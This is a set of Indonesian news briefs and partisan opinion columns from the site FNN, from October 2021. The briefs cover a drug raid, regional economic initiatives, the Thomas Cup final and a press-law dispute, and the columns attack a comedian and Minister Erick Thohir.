Oleh Ady Amar *) APAKAH ia sudah kehilangan sense of humor sudah tidak punya lagi kreatifitas menghibur yang membuat orang terbahak, sehingga mesti harus menghina atau melecehkan nama ulama tertentu. Sepertinya ia sudah kering, tak punya bahan lawakan, tak mampu mengundang audiens untuk tertawa. Maka, yang keluar dari mulutnya ucapan atau lebih tepat umpatan ngaco mengundang orang lain untuk dijadikan bahan candaan yang tidak semestinya. Bahkan sampai tingkat melecehkan dengan sebutan kotor. Setidaknya itu video singkat yang beredar sejak kemarin (16 Oktober). Mengundang keprihatinan bahkan kemarahan umat, menghendaki Kepolisian bersikap dengan menangkap komedian itu. Ialah Dani Wijaya Wardhana, atau biasa memakai nama panggung McDanny, dikenal sebagai stand up komedian. Candaannya menyasar ulama yang tengah meringkuk dalam penjara, bukan karena laporan berpuluh umat ditipu ulama dalam proyek fiktif atau atas bisnis kotornya. Tapi ulama yang jadi sasaran pelecehannya itu mendekam dalam penjara karena dianggap "berbohong" atas Hasil Swab Covid-19 pada RS Ummi, Bogor. Jika saja bisa dibuktikan bahwa benar ia "berbohong", maka dicukupkan hanya disanksi administratif. Sanksi pidana yang dikenakan, itu oleh praktisi dan pengamat hukum disebut hal mengada-ada. Tanpa ada perkataan pemula atau kontekstual dari lawakannya, yang mengharuskan ulama satu ini mesti dihinakan. Tiba-tiba dari mulut kotor McDanny keluar umpatan, _fuck_ Rizieq Shihab. Apakah ini spontanitas yang diproduksi otak songongnya, atau itu memang sudah direncanakan bahwa dengan menghina ulama satu ini ia aman-aman saja. Bahkan berharap dengan menghina ulama satu ini ia bisa dapatkan kelucuan tersendiri, atau agar ia dianggap nekat, sehingga tarifnya naik. Apa salah Habib Rizieq Shihab padanya sehingga harus dilecehkan, itu banyak pertanyaan muncul dari para netizen dan karenanya muncul (tagar) #tangkapmcdanny menjadi trending topic. Kita lihat saja apakah pihak Kepolisian peka dan tanggap pada hal-hal demikian. Pada soal-soal demikian mestinya polisi hadir, sebelum umat mencari jalannya sendiri menghakimi yang bersangkutan, tentu itu hal tidak diinginkan. Jika komedian _gareng_ ini bebas merdeka, tidak mendapat sanksi atau diproses hukum. Maka itu artinya, perlakuan penghinaan/pelecehan atas ulama yang kebetulan berseberangan dengan rezim tidak dianggap sesuatu. Hal biasa, seperti yang sudah-sudah, justru pihak pembuat video atau yang meng-upload video dikejar seolah dianggap pelaku yang turut menyebarkan berita yang memancing kemarahan umat. Sedang aktor utamanya melenggang bebas, ini aneh dan bagian dari akrobat hukum. Pelaku yang sesungguhnya menjadi tidak tersentuh hukum, karena yang dilecehkan itu musuh rezim, maka ia aman-aman saja. Jika lalu muncul dugaan, bahwa apa yang dikatakan McDanny itu hal yang memang disengaja itu bisa dibenarkan, jika pihak Kepolisian tidak menangkap dan memprosesnya. Mereka seolah mendapat keistimewaan. Mereka semacam manusia yang diprogram untuk menghina Habib Rizieq Shihab. Ini semacam buzzerRp, yang sulit bisa disentuh hukum. Melakukan pelecehan bahkan fitnah sekalipun menjadi bebas merdeka. Dilaporkan tapi tidak ada tindak lanjut bisa menyentuh "mesin" manusia jenis itu. Maka para penghina, semacam McDanny, pada mereka yang berseberangan dengan rezim ke depan bisa jadi akan makin "kreatif", bahkan akan makin semarak dengan tingkat intensitas lebih dahsyat lagi. Penghinaan terhadap Habib Rizieq Shihab, tentu mustahil bisa menjatuhkan namanya. Meski hinaan dan cacian merendahkan disuarakan terus-menerus sekalipun, tidak lantas membuat nama Habib Rizieq runtuh. Namanya akan tetap semerbak mewangi. Tidak ada yang mampu mengecilkan dan membuat busuk namanya. Melaporkan itu bagian dari mencari keadilan, meski itu sulit bisa didapat. Itu tidak masalah, itu bagian dari ikhtiar mencari keadilan, meski sulit bisa didapat, jika masih memposisikan diri ada di barisan yang berseberangan dengan rezim. Pada saatnya semua akan berakhir, dan itu jika hukum sudah tidak tertekuk dalam kuasa politik. Kapan waktunya, tidak ada yang mampu memprediksi. Terus dan tetaplah bersabar, karena Tuhan tidak sedang diam. Dia melihat semuanya, dan jika sampai waktunya, maka dengan mudah Dia mampu untuk menyudahi itu semua. Jangan tanya kapan waktunya itu datang, tapi tanyalah pada diri sendiri, apakah Tuhan sudah kita jadikan sandaran, tentu sembari ikhtiar keras dan sistemik untuk menyudahi itu semua. Percayalah Tuhan tidak sedang diam, apalagi tertidur. (*) *) Kolumnis

Seorang Pengacara Terjaring Razia yang Digelar BNNK Banyumas

Purwokerto, FNN - Seorang pengacara terjaring razia yang digelar Badan Narkotika Nasional Kabupaten (BNNK) Banyumas bersama instansi terkait lainnya di Purwokerto, Kabupaten Banyumas, Jawa Tengah. "Dalam kegiatan deteksi dini penyalahgunaan narkoba yang dilaksanakan hari ini , kami mendatangi sejumlah rumah kos di Kelurahan Purwokerto Kidul dan Kelurahan Bancarkembar," kata Subkordinator Pencegahan dan Pemberdayaan Masyarakat BNNK Banyumas Wicky Sri Erlangga Adityas usai razia di Purwokerto, Senin. Ia mengatakan secara keseluruhan tercatat sebanyak 61 penghuni rumah kos yang menjalani pemeriksaan urine dalam kegiatan deteksi dini tersebut, 43 orang di antaranya perempuan dan 18 orang laki-laki. "Tes urine telah dilakukan sesuai SE/8/VI/DE/PM/00/2020/BNN yang mana petugas pendaftaran dan penerimaan urine menggunakan APD (alat pelindung diri), dengan didukung oleh Bakesbangpol (Badan Kesatuan Bangsa dan Politik) Kabupaten Banyumas dalam penyediaan testkit-nya. Tes urine menggunakan alat tes uji 6 parameter (Amp, Thc, Mop Coc, Met, Bzo)," katanya menjelaskan. Dari hasil pemeriksaan urine tersebut, kata dia, sebanyak 58 orang dinyatakan negatif dari penyalahgunaan narkoba. Sementara dua orang lainnya, lanjut dia, diketahui positif benzo (Bzo) serta satu orang positif Bzo, amphetamine (Amp), dan metamphetamine (Met atau sabu-sabu). "Satu orang yang positif Bzo, Amp, dan Met ini diketahui merupakan seorang penasihat hukum atau pengacara yang juga ketua salah satu organisasi pemuda di Kabupaten Banyumas. Untuk sementara, kami belum menemukan barang bukti sabu-sabu," katanya. Menurut dia, pihaknya akan melakukan asesmen lebih lanjut terhadap yang bersangkutan termasuk dua orang yang positif Bzo. Kendati demikian, dia mengatakan asesmen terhadap oknum pengacara tersebut akan dilakukan setelah yang bersangkutan menghadiri sidang di pengadilan. "Yang bersangkutan minta izin kepada kami karena ada jadwal sidang di pengadilan. Setelah sidang, yang bersangkutan akan menjalani asesmen," katanya. Lebih lanjut, Wicky mengatakan kegiatan deteksi dini penyalahgunaan narkoba tersebut terselenggara atas kerja sama BNNK Banyumas dengan Detasemen Polisi Militer IV/1 Purwokerto, Propam Polresta Banyumas, dan Satuan Polisi Pamong Praja Kabupaten Banyumas. Ia mengakui kegiatan razia sebagai upaya deteksi dini penyalahgunaan narkoba sempat terhenti akibat adanya pandemi COVID-19 namun sejak kasus penularan virus corona tersebut menunjukkan tren penurunan, pihaknya kembali menggiatkannya kembali. "Pengedar dan penyalah guna obat-obatan terlarang memang tidak mengenal COVID-19, jadi kami akan terus menggencarkan razia ini," kata Wicky. (mth)

Pemprov Lampung Dorong Generasi Milenial Kembangkan Batik Lampung

Bandarlampung, FNN - Pemerintah Provinsi (Pemprov) Lampung mendorong generasi muda beriwirausaha batik guna memperkenalkan serta mengembangkan batik Lampung kepada kaum milenial. "Kami sedang mencoba berdiskusi dengan sejumlah pegiat batik Lampung yang sudah maju, bagaimana memunculkan wirausahawan baru di sektor ini khususnya kaum muda," kata Kepala Dinas Koperasi dan Usaha Mikro Kecil dan Menengah (UMKM) Syamsulrizal Ari, di Bandarlampung, Senin. Ia melanjutkan, dengan menjadikan pegiat batik Lampung yang telah mapan sebagai panutan diharapkan akan muncul wirausahawan muda baru di bidang batik Lampung. "Kami harapkan ada regenerasi, pemuda yang benar-benar mencintai batik khususnya batik Lampung, mungkin perlu sedikit pembinaan. Bagi yang punya minat berkewajiban untuk memperluas pasar," kata dia. Namun begitu, ia pun menginginkan nantinya konsep batik Lampung dapat diciptakan dengan konsep kekinian sehingga dapat diterima oleh masyarakat luas khususnya pemuda dan pemudi. "Ini juga menjadi salah satu upaya kami agar pemuda dapat lebih mencintai batik Lampung," kata dia. Sehingga, lanjut dia, pakaian batik khususnya Batik Lampung ini dapat digunakan bukan hanya pada acara-acara formal saja tapi juga bisa dipakai dalam kegiatan-kegiatan nonformal ataupun keseharian masyarakat. "Kan sekarang ini batik rata-rata dipakai di acara-acara resmi ataupun pernikahan, bahkan di acara pesta saja banyak pemuda masih enggan memakai batik dan lebih memilih pakaian casual, nah maka dari itu kami ingin bagaimana batik ini dipakai dalam kegiatan sehari-hari tentunya dengan konsep-konsep kekinian," kata dia. (mth)

BI NTT Siapkan Layanan Non Tunai Dukung DPSP Labuan Bajo

Kupang, FNN - Bank Indonesia (BI) Provinsi Nusa Tenggara Timur menyiapkan layanan sistem pembayaran non tuna untuk mendukung pengembangan Destinasi Pariwisata Super Prioritas (DPSP) Labuan Bajo, Kabupaten Manggarai Barat. "Layanan non tunai yang dipersiapkan di antaranya elektronifikasi retribusi pasar dan pembayaran non tunai tiket wisata di Taman Nasional Komodo," kata Kepala Perwakilan BI NTT I Nyoman Ariawan Atmaja dalam keterangan yang diterima di Kupang, Senin. Ia mengatakan hal itu berkaitan dengan dukungan Bank Indonesia (BI) untuk pengembangan Destinasi Wisata Super Prioritas Labuan Bajo melalui penerapan elektronifikasi transaksi keuangan. Ariawan mengatakan pihaknya bersinergi dengan penyedia jasa pembayaran untuk menyediakan layanan sistem pembayaran non tunai di Labuan Bajo. Elektronifikasi retribusi pasar dan layanan non tunai tiket wisata, kata dia merupakan bagian dari rencana pengembangan dan akan dijadwalkan untuk uji coba (piloting). Ia menjelaskan selain itu dukungan layanan non tunai juga akan dilakukan melalui implementasi Quick Response Indonesian Standar (QRIS) pada ekosistem Bandar Udara Komodo Labuan Bajo. Implementasi QRIS ini, kata dia tidak hanya untuk Bandar Udara Komodo namun juga pada daerah wisata penyangga lain di Pulau Flores yakni pada eksosistem destinasi wisata Danau Kelimutu di Kabupaten Ende, dan Kampung Wisata Melo di Kabupaten Manggarai Timur. Lebih lanjut Ariawan mengatakan dalam mendukung pertumbuhan transaksi elektronik, pihaknya terus mendorong perluasan penggunaan QRIS di masyarakat. Ia menyebutkan hingga Juni 2021, tercatat sebanyak 37.450 merchant di NTT sudah menggunakan QRIS sebagai alternatif transaksi. Jumlah ini meningkat sebesar 82 persen secara year on year (yoy). Perluasan implementasi QRIS ini diharapkan dapat berkontribusi terhadap pertumbuhan ekonomi dan keuangan digital masyarakat, termasuk di daerah-daerah tujuan wisata di NTT, katanya. (mth)

West Java Investment Summit 2021 Targetkan 1.500 Investor

Bandung, FNN - Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Jawa Barat Noneng Komara menargetkan sekitar 1.500 investor dari dalam dan luar negeri bisa ikut andil dalam acara West Java Investment Summit (WJIS) 2021 yang akan digelar pada 21-22 Oktober 2021 secara hybrid. "Target di WIJS 2021 ada 1.500-an investor dari seluruh dunia, mudah-mudahan bisa mengikuti semua. Kemudian para pengusaha di daerah juga lebih kenal dan tahu sehingga banyak yang ikut," kata Noneng Komara dalam jumpa pers secara daring di Bandung, Senin. Noneng mengatakan .memasuki tahun ketiga penyelenggaraan, WJIS hadir menjadi bagian ekosistem investasi yang makin matang. Provinsi Jawa Barat (Jabar) sendiri masih menjadi provinsi primadona investasi asing maupun investasi dalam negeri. Noneng Komara mengatakan pada Januari hingga Juni 2021, tercatat pada medio Januari-Juni 2021 investor yang merealisasikan penanaman modal ke Jawa Barat mencapai Rp72,46 triliun. "Adapun realisasi investasi ke Jawa Barat pada semester satu Januari-Juni 2021 menempati peringkat 1 nasional," katanya. Ia menuturkan dengan raihan ini maka Jawa Barat telah merealisasikan 56,90 persen dari target Rp127,34 triliun yang diberikan Kementerian Investasi/BKPM RI. Sementara untuk target RPJMD 2018-2023, pihaknya berhasil merealisasikan 71,06 persen dari total target Rp101,97 triliun. WJIS 2021 sendiri mengambil tema “Navigating Post Covid World: Investment Growth For Reselient West Java. Tema ini berangkat dari kondisi dimana seluruh sumber perekonomian Jawa Barat terganggu oleh adanya pandemi COVID-19. “Kami harapkan investasi bisa menjadi salah satu jalan keluar sekaligus menyongsong kondisi ekonomi pasca COVID-19. Kita juga menunjukkan ketangguhan investasi di Indonesia, bahwa Jawa Barat investasinya mash tangguh,” kata Noneng. Menurutnya WJIS 2021 bisa menjadi sarana mulai optimalnya kembali komunikasi antara investor yang hendak menanamkan modal ke Jawa Barat. Acara yang digelar secara hybrid di Bandung tersebut juga diharapkan bisa membuka akses lebih luas bagi seluruh stakeholder investasi. Lebih lanjut Noneng mengatakan pada WJIS 2021 juga akan memberikan penghargaan kepada kabupaten kota yang sudah melakukan kerja keras mendapatka investasi serta penghargaan kepada pengusaha yang sudah patuh melaksanakan tugasnya sebagai investor. Sebelumnya, Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPSTP) Jawa Barat berkolaborasi dengan Kantor Perwakilan Bank Indonesia Jawa Barat telah meluncurkan program Ekosistem Investasi. Peluncuran yang dipimpin Gubernur Jawa Barat Ridwan Kamil dan digelar di Bandung secara hybrid Kamis (19/8) tersebut berisi empat agenda utama yang bisa mendorong Jawa Barat menjadi destinasi utama investasi. Yakni peluncuran West Java Invesment Hub (WJIH), Kampanye Nomor Induk Berusaha (NIB) lalu Peluncuran Cinematography of Investment Festival (Cifest) dan Sosialisasi dan Regulasi Kemudahan Berusaha. (mth)

Incar Kursi Presiden, Erick Thohir Menjadi Ketum Partai BUMN

By Asyari Usman HITUNG cepat (quick count) hasil pilpres 15 Mei 2024 menunjukkan mantan menteri BUMN, Erick Thohir (ET), berada di urutan pertama dari lima pasangan. Erick mengumpulkan 39% suara setelah penghitungan mencapai 80%. Erick dan tim sukses (timses)-nya berbunga-bunga. Posisi 39% sangat meyakinkan. Sebab, QC (quick count) ini baru di putaran pertama. Diperkirakan, dia bisa merebut 41% setelah penghitungan manual selesai 100% dalam beberapa hari. Erick, menurut berbagai sumber, mulai menyiapkan diri untuk putaran kedua yang hanya diikuti dua pasangan capres-cawapres. Timses yakin mantan pengusaha itu bisa masuk Istana. Di putaran kedua nanti, Erick akan berhadapan dengan pasangan yang merebut 33% suara di babak pertama. Di atas kertas, ET bisa mengalahkan saiangannya. Begitulah ringkasan mimpi tentang Erick Thohir yang bocor ke publik. Erick percaya mimpi bocor ini bakal menjadi kenyataan. Alasannya antara lain adalah bahwa orang yang bermimpi tidak bocor walaupun isi mimpi itu bocor. Karena yakin mimpi akan menjadi kenyataan, Erick belakangan ini lebih sibuk mempromosikan dirinya dengan menggunakan berbagai medium ketimbang mengerjakan tugas kementerian. Dia, misalnya, mulai muncul di layar ATM (anjungan tunai mandiri) salah satu bank BUMN. Ada iklan internal BRI di jaringan ATM mereka. Iklan itu adalah peringatan satu tahun peluncuran moto AKHLAK (Amanah, Kompeten, Harmonis, Loyal, Adaptif, Kolaboratif). Di sudut kiri atas ada foto ET. Di bawah foto ada komentar mantan ketua timses Jokowi di pilpres 2019 itu. Apa relevansi pencantuman komentar dan foto Erick di iklan internal BRI itu? Sama sekali tidak ada. Kalau foto dan komentar pimpinan BRI yang dipasang, masih mendingan. Lumayan pas. Sebab, konten iklan itu bukan urusan ke-BUMN-an. Semata-mata urusan BRI. Tapi, begitulah. ET tampaknya sudah tak sabar menang pilpres 2024. Tak sabar ingin masuk Istana. Banyak yang berkomentar bahwa iklan BRI yang dimanfaatkan oleh Erick Thohir itu adalah bentuk kampanye terselubung. Erick tampaknya tak peduli. Dia bahkan sudah punya foto kampanye lain. Menteri BUMN ini berdiri di depan beranda resepsionis kantor Kementerian BUMN. Dia memegang sapu dan tampungan sampah bertangkai. Foto kampanye ini juga sangat menarik tafsirannya. Pertama, bisa jadi adegan itu bermakna bahwa Erick berusaha membersihkan BUMN dari sampah-sampah manajemen yang selama ini merusak perusahaan negara. Kedua, aksi itu mungkin dimaksudkan untuk menceritakan bahwa Erick Thohir bakal menjadi presiden yang merakyat. Semacam blusukan gorong-gorong Jokowi yang akhirnya memperdaya rakyat. Ketiga, tafsirannya bisa juga bahwa sebagian besar BUMN sekarang ini cuma menyampah saja. Terserah saja. Yang sangat nyata ialah iklan promosi dan kampanye itu mengisyaratkan ET sekarang ini menunggangi BUMN-BUMN yang sedang tunggang langgang itu. Dia lebih fokus ke pilpres 2024 ketimbang membenahi berbagai perusahaan negara yang terancam bangkrut. Berambisi tentu boleh-boleh saja. Tapi, kalau gara-gara ambisi itu BUMN semakin cepat hancur, lebih baik Erick buat partai sendiri. Masih ada waktu sesuai jadwal pemilu. Dia punya uang banyak. Sangat mungkin. Lepaskanlah Kementerian BUMN. Sebab, semua perusahaan negara yang ada itu memerlukan kerja keras menteri yang ditugaskan. Jangan salahgunakan jabatan untuk kepentingan pribadi. Kampanye atau promosi diri silakan. Tapi jangan bebani rakyat. Mau menjadi presiden, tidak masalah. Tapi jangan sampai orang mengatakan Erick Thohir sekarang resmi menjadi ketua umum Partai BUMN.[] (Penulis wartawan senior FNN)

Mantan Atlet Sayangkan Merah Putih Tidak Dikibarkan di Piala Thomas

Jakarta, FNN - Mantan pebulu tangkis nasional menyayangkan tidak dikibarkannya bendera Merah Putih ketika tim bulu tangkis Indonesia menjuarai Piala Thomas 2020, di Aarhus, Denmark, Minggu malam. Tim Indonesia merebut Piala Thomas dengan mengalahkan China 3-0 pada final yang berlangsung di Ceres Arena, Aarhus, Denmark, Minggu malam. Namun, karena terkena sanksi WADA (Badan Antidoping Dunia) maka bendera Merah Putih tidak dapat dikibarkan bersamaan dengan berkumandangnya lagu Indonesia Raya. Sebagai gantinya bendera PBSI yang dikibarkan. "Ironis, pada saat merayakan kemenangan Thomas Cup, Merah Putih tidak bisa berkibar, memalukan," ujar mantan pemain ganda putra nasional Candra Wijaya yang dihubungi di Jakarta, Minggu malam. Candra, juara Olimpiade Sydney 2000 berpasangan dengan Tony Gunawan, adalah salah satu pemain yang ikut menjuarai Piala Thomas pada 2002, terakhir kali Indonesia memenangi kejuaraan dunia beregu putra tersebut. Hal senada juga disampaikan juara Olimpiade Athena 2004 Taufik Hidayat yang menyayangkan tidak bisa dikibarkannya Merah Putih di Ceres Arena, Denmark. "Sangat disayangkan, rasanya seperti makan kurang garam. Biasanya kan Merah Putih dikibarkan bersamaan dengan lagu Indonesia Raya," kata Taufik yang memuji para atlet dan ofisial tidak terpengaruh oleh kondisi tersebut dan tetap fokus bertanding. "Saya yakin mereka sudah tahu kondisi ini, tetapi bagus mereka tidak terpengaruh. Biar masalah ini negara yang mikirin," ujar Taufik yang menyebutkan bahwa bendera kebangsaan hanya dikibarkan di luar negeri pada saat kedatangan presiden atau ada atlet yang juara. Karenanya, Taufik yang juga anggota tim Piala Thomas yang menjuarai 19 tahun lalu itu, berharap pemerintah segera menyelesaikan masalah sanksi WADA tersebut. "Saya berharap ini bisa cepat selesai. Pemerintah harusnya malu, dulu gembar-gembor ingin jadi tuan rumah Piala Dunia, tuan rumah Olimpiade, tapi ngurus kayak gini saja enggak bisa. Jangan sampai kita kayak Rusia," ujarnya pula. Sebelumnya diberitakan bahwa Indonesia bersama Korea Utara dan Thailand dinyatakan tidak patuh oleh Badan Antidoping Dunia (WADA), sehingga dijatuhi sanksi. Salah satu sanksinya adalah atlet dari tiga negara tersebut masih diizinkan turun di kejuaraan regional, kontinental, dan dunia, namun tidak bisa mengibarkan bendera nasional mereka selain di olimpiade. (ant, sws)

Jika Tulus, Jalan Itu adalah Sultan Mehmet Al Fatih

By M Rizal Fadillah USULAN yang dikemukakan oleh Dubes RI untuk Turki Muhammad Iqbal mengenai pemberian nama Jalan di Menteng dengan Mustafa Kemal Ataturk telah menuai penentangan sebagaimana terbaca di media sosial. Pada umumnya dasar keberatannya adalah karena Kemal Ataturk merupakan tokoh yang mengembangkan faham sekularisme. Sikap anti Islam nya sangat nampak. Umat Islam Indonesia keberatan. Jika tujuannya adalah "barter" dengan penamaan Jalan Ahmet Soekarno di Ankara, maka dalam rangka persahabatan Indonesia Turki, nama yang semestinya diangkat bukan Kemal Attaturk karena yang dinilai sangat menyenangkan bagi seluruh masyarakat Turki adalah Sultan Mehmet Al Fatih penakluk Kekaisaran Bizantium Romawi. Pada tahun 1453 Al Fatih memimpin serangan menjebol benteng maha kuat Konstantinopel. Keberhasilan luar biasa ini menghentikan kekuasaan Romawi Timur di bawah kepemimpinan Kaisar Konstantin. Konstantinopel yang kini menjadi Kota Istambul adalah simbol dari keadidayaan imperium Romawi. Serangan spektakuler Al Fatih menjadi kebanggaan bangsa Turki dan umat Islam di dunia. Mustafa Kemal Ataturk meski pendiri negara Republik Turki namun banyak mendapat kecaman baik dari masyarakat Turki sendiri maupun umat Islam di berbagai belahan dunia. Hal ini akibat dari kepemimpinan yang diktator dan sekularisasi yang dilakukannya. Sementara Mehmet Al Fatih bagi warga Turki dinilai tidak memiliki permasalahan. Al Fatih adalah pahlawan Turki dan pahlawan umat Islam sedunia. Pilihan untuk Jalan di Menteng dengan nama Sultan Mehmet Al Fatih lebih cocok di bandingkan dengan Mustafa Kemal Ataturk. Dasar pertimbangannya lebih kuat dan komprehensif. Kehebatan Al Fatih jauh di atas Kemal Ataturk. Al Fatih pembangun nilai-nilai luhur Turki yang mayoritas muslim, sedangkan Ataturk justru merusak sendi sendi agama Islam yang jadi anutan warga Turki. Jadi sederhana saja untuk rencana mengganti nama jalan di Menteng jika pahlawan nasional atau Betawi bisa dengan Jalan Si Pitung, akan tetapi jika untuk persahabatan Indonesia Turki maka itu adalah Sultan Mehmet Al Fatih. Nama Mustafa Kemal Ataturk harus sudah tereleminasi. Tidak cocok dan tidak pantas. Semua itu di atas jika memang berbasis ketulusan, akan tetapi jika mengangkat nama Mustafa Kemal Ataturk itu diniatkan untuk mengadu domba umat Islam maka penguasa tak lain adalah Kemalis, Sekularis, dan Machiavelis. *) Pemerhati Politik dan Kebangsaan

Indonesia Juara Piala Thomas!

Jakarta, FNN - Pebulu tangkis tunggal putra Jonatan Christie menyumbang angka kemenangan ketiga untuk Indonesia. Hal itu sekaligus membawa Skuad Garuda menjuarai Piala Thomas dengan keunggulan akhir 3-0 atas China. Pada laga final yang berlangsung di Ceres Arena, Aarhus, Denmark, Ahad, 17 Oktober 2021 malam WIB itu, Jojo, sapaan akrab Jonatan Christie, memetik kemenangan rubber game 21-14, 18-21, 21-14 atas Li Shi Feng dalam waktu 1 jam 21 menit. Jojo tampil dengan begitu memukau pada gim pertama. Tunggal putra peringkat ketujuh dunia itu terus memimpin sejak awal hingga akhir permainan. Ia memperlebar jarak 13-6 dengan Li, sebelum lawannya itu mengejar dan memperkecil selisih menjadi 13-14. Namun usaha Li tidak membuahkan hasil. Ia tak mampu menyamakan kedudukan, sementara Jojo kian unggul dengan poin-poin berikutnya dan memenangkan gim pertama 21-14. Di gim kedua, penampilan Jojo menurun secara signifikan. Kali ini, ia malah terus tertinggal sejak awal, setelah kedudukan imbang 1-1. Jojo banyak membuat kesalahan sendiri dengan bola-bola yang out. Jojo tertinggal 3-11, dan ia kerap dibuat mati langkah oleh serangan-serangan yang dilancarkan oleh Li. Jojo juga gagal mengimbangi permainan lawannya. Dengan kondisi seperti itu, Li semakin mendominasi hingga merebut gim kedua 21-18. Di gim penentu, persaingan kedua pemain itu menjadi sengit. Mereka saling berbagi angka dan bergantian mengungguli satu sama lain sejak awal. Jojo dan Li sama kuat. Namun, setelah kedudukan 13-13, Jojo terlihat semakin percaya diri. Permainannya pun menjadi lebih agresif. Tanpa banyak perlawanan dari Li, Jojo langsung merebut poin-poin terakhir dan mengakhiri laga final itu dengan kemenangan 21-14. Dengan hasil tersebut, Indonesia memimpin dengan kedudukan akhir 3-0 atas China, dan menyabet gelar juara Piala Thomas. Sebelumnya pada partai pembuka, pemain tunggal putra Anthony Sinisuka Ginting juga menyumbang angka kemenangan usai menaklukkan Lu Guang Zu dalam tiga gim 18-21, 21-14, 21-16. Kemudian di partai kedua, ganda putra Fajar Alfian/Muhammad Rian Ardianto menumbangkan pasangan baru China He Ji Ting/Zhou Hao Dong dalam dua gim langsung 21-12, 21-19. Indonesia sebetulnya masih menyisakan dua wakil lainnya, yakni ganda putra paling anyar Kevin Sanjaya Sukamuljo/Daniel Marthin yang akan bertarung melawan Liu Cheng/Wang Yi Lyu. Kemudian di partai terakhir, tunggal putra Shesar Hiren Rhustavito menantang Weng Hong Yang. Namun dengan kedudukan Indonesia yang sudah unggul 3-0 atas China, maka dua partai terakhir itu tidak perlu lagi dimainkan. Sementara di laga final Piala Uber, yang baru berakhir Minggu dini hari WIB, China menyabet gelar juara setelah menundukkan Jepang dengan skor akhir 3-1. (MD).

Dewan Pers Harap MK tolak uji materi UU Pers

Jakarta, FNN - Dewan Pers berharap agar Mahkamah Konstitusi (MK) menolak pengajuan uji materi atau judicial review Undang-Undang Nomor 40 Tahun 1999 tentang Pers. Alalasannya, posisi para pemohon, sebagaimana pernyataan pemerintah, tidak mengalami kerugian. "Pemerintah menyebut para pemohon dalam hal ini tidak dalam posisi dirugikan, dikurangi, atau setidak-tidaknya dihalang-halangi hak konstitusionalnya dengan keberlakuan ketentuan Pasal 15 ayat (2) huruf f dan Pasal 15 ayat (5) UU Pers," kata Ketua Dewan Pers Muhammad Nuh dalam keterangan tertulis yang diterima di Jakarta, Ahad, 17 Oktober 2021. Pemerintah, kata M. Nuh, juga menyebutkan, para pemohon tidak memiliki kerugian atas hak konstitusional berdasarkan UUD NRI Tahun 1945. Berkenaan implementasi Pasal 15 ayat (2) huruf f UU Pers, M. Nuh mengatakan, hal tersebut lebih pada konsensus di antara organisasi-organisasi pers agar terciptanya suatu peraturan bidang pers yang kohesif dan dapat memayungi seluruh insan pers. Dengan demikian, tidak terdapat peraturan-peraturan organisasi pers yang bersifat terpisah, sporadis, dan bahkan bertentangan antara satu dengan yang lainnya. Tidak ada yang akan menyebabkan ketidakpastian hukum dalam penyelenggaraan kemerdekaan pers dan menghambat terciptanya peningkatan kehidupan pers nasional yang sehat. Pemerintah juga menyebut dalam Pasal 15 ayat (1) UU Pers telah jelas memberikan nomenklatur "Dewan Pers" dan tidak ada nomenklatur-nomenklatur lainnya dalam Pasal 15 UU Pers. Oleh karena itu, apabila para pemohon mendalilkan "organisasinya" bernama "Dewan Pers Indonesia", itu bukanlah nomenklatur dan entitas yang dimaksud dalam Pasal 15 ayat (1) UU Pers. Berdasarkan hal tersebut, Dewan Pers Indonesia tidak memerlukan penetapan dari Presiden dalam bentuk Keputusan Presiden. Tidak ditanggapinya permohonan penetapan anggota Dewan Pers Indonesia oleh presiden bukanlah suatu perlakuan diskriminatif yang melanggar Pasal 28D ayat (1) dan Pasal 28I ayat (2) UUD NRI 1945. Melainkan suatu tindakan yang telah sesuai dengan hukum yang berlaku. Dengan demikian, organisasi dan/atau forum yang menamakan dirinya Dewan Pers Indonesia bukanlah Dewan Pers sebagaimana diatur dalam Pasal 15 UU Pers. Sebelumnya, Heintje Grontson Mandagie, Hans M. Kawengian, dan Soegiharto Santoso selaku pemohon memohon judicial review UU Pers melalui kuasanya pada Kantor Hukum Mustika Raja Law pada tanggal 12 Agustus 2021. Mereka mengatasnamakan diri sebagai anggota Dewan Pers Indonesia. Adapun permohonan mereka dalam petitumnya meminta kepada Mahkamah Konstitusi untuk memutuskan bahwa Pasal 15 ayat (2) huruf f dan Pasal 15 ayat (5) UU Pers bertentangan dengan UUD NRI 1945 dan tidak mempunyai kekuatan hukum mengikat. (MD).

Indonesia Unggul Sementara 2-0 Atas China

Jakarta, FNN - Ganda putra Fajar Alfian/Muhammad Rian Ardianto menyumbang angka kemenangan kedua untuk Skuad Garuda sehingga kini unggul sementara 2-0 atas China pada laga final Piala Thomas yang berlangsung Ahad, 17 Oktober 2021 malam WIB. Bertempat di Ceres Arena, Aarhus, Denmark, Fajar/Rian yang kini menempati peringkat ketujuh dunia itu menumbangkan pasangan baru He Ji Ting/Zhou Hao Dong dalam dua gim langsung 21-12, 21-19 dengan durasi 43 menit. Pertarungan sengit di antara kedua pasangan itu sudah terjadi sejak gim pertama. Fajar/Rian dan He/Zhou berebut angka dan saling mengungguli satu sama lain. He/Zhou kerap memimpin di poin-poin awal, namun dominasi mereka hanya berlangsung hingga kedudukan imbang 8-8. Selepas itu, Fajar/Rian berbalik unggul. Mereka mencuri enam poin tanpa balas dan terus menambah angka hingga memenangi gim pertama dengan skor awal 21-12. Masuk gim kedua, pasangan anyar China itu lagi-lagi memimpin di poin-poin awal. Namun Fajar/Rian mampu mengejar dan menyamakan kedudukan menjadi 7-7. Kemudian, pertarungan menjadi sengit. Kedua pasangan itu saling berbagi poin-poin berikutnya, bergantian memimpin pertandingan. Akan tetapi, setelah mereka sama-sama menyentuh angka 16-16, He/Zhou gagal mengembalikan bola-bola dari Fajar/Rian, sehingga poin-poin berikutnya menjadi milik wakil Garuda, yang kemudian memenangkan laga dengan skor penutup 21-19. Dengan hasil tersebut, maka kedudukan Indonesia saat ini memimpin sementara 2-0 atas China. Sebelumnya pada partai pembuka, pemain tunggal putra Anthony Sinisuka Ginting juga menyumbang angka kemenangan usai menaklukkan Lu Guang Zu dalam tiga gim 18-21, 21-14, 21-16. Setelah Fajar/Rian, masih ada tiga wakil lainnya yang akan membela Tim Merah Putih pada laga final Piala Thomas kontra China, yakni tunggal putra Jonatan Christie yang akan bertarung melawan Li Shi Feng. Kemudian, ganda putra paling anyar Kevin Sanjaya Sukamuljo/Daniel Marthin akan berjumpa dengan Liu Cheng/Wang Yi Lyu. Selanjutnya di partai terakhir, tunggal putra Shesar Hiren Rhustavito akan menantang Weng Hong Yang. (MD).

